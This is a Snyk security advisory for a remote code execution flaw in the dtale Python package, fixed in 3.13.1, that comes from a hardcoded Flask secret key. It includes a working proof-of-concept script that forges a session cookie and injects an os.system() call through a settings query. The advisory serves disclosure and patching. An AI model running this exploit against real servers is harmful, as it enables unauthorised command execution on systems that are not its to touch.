Improper Input Validation Affecting dtale package, versions [,3.13.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.13% (49th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-DTALE-7218838
  • published 7 Jun 2024
  • disclosed 6 Jun 2024
  • credit ozelis

How to fix?

Upgrade dtale to version 3.13.1 or higher.

Overview

dtale is a Web Client for Visualizing Pandas Objects

Affected versions of this package are vulnerable to Improper Input Validation due to the use of a hardcoded SECRET_KEY in the flask configuration and improper restriction of custom filter queries. An attacker can forge a session cookie and execute arbitrary code on the server by bypassing the authentication mechanisms and exploiting the /update-settings endpoint, even when enable_custom_filters is not enabled.

Note:

This vulnerability can be exploited only if authentication is enabled.

PoC

import json, hashlib
from argparse import ArgumentParser
from urllib.parse import quote

# https://pypi.org/project/requests
from requests import Session # pip install requests

# https://pypi.org/project/itsdangerous/
from itsdangerous import URLSafeTimedSerializer # pip install itsdangerous

if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("--url", default="http://localhost:40000")
    parser.add_argument("--cmd", default="touch /tmp/touched_by_rce")
    args = parser.parse_args()

    url_base = args.url + "/dtale"
    cmd = args.cmd

    # forge a cookie in case there was authentication enabled:
    signer_kwargs = { "key_derivation" : "hmac", "digest_method" : staticmethod(hashlib.sha1) }
    ser = URLSafeTimedSerializer("Dtale", salt="cookie-session", signer_kwargs=signer_kwargs)
    session = ser.dumps({"logged_in" : True, "username" : "whatever"})
    print(f"{session = }")

    with Session() as s:
        s.cookies["session"] = session

        # create any pandas DataFrame:
        rsp = s.post(f"{url_base}/upload", files={
            "poc.csv" : ("poc.csv", b"A,B\n1,1\n", "text/csv")
        })
        assert rsp.json()["success"]

        # grab data_id:
        data_id = rsp.json()["data_id"]
        print(f"{data_id = }")

        # update settings for this data_id and set filter query directly bypassing
        # any checks:
        settings = {"query": f'@pd.core.frame.com.builtins.__import__("os").system("""{cmd} #""")'}
        settings = quote(json.dumps(settings))
        rsp = s.get(f"{url_base}/update-settings/{data_id}?settings={settings}")
        assert rsp.json()["success"]

        # call any of the endpoints that trigger `run_query()`:
        rsp = s.get(f"{url_base}/edit-cell/{data_id}")

        # this will return some error as a response, but command was executed anyway
        print(rsp.text)

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9.8 critical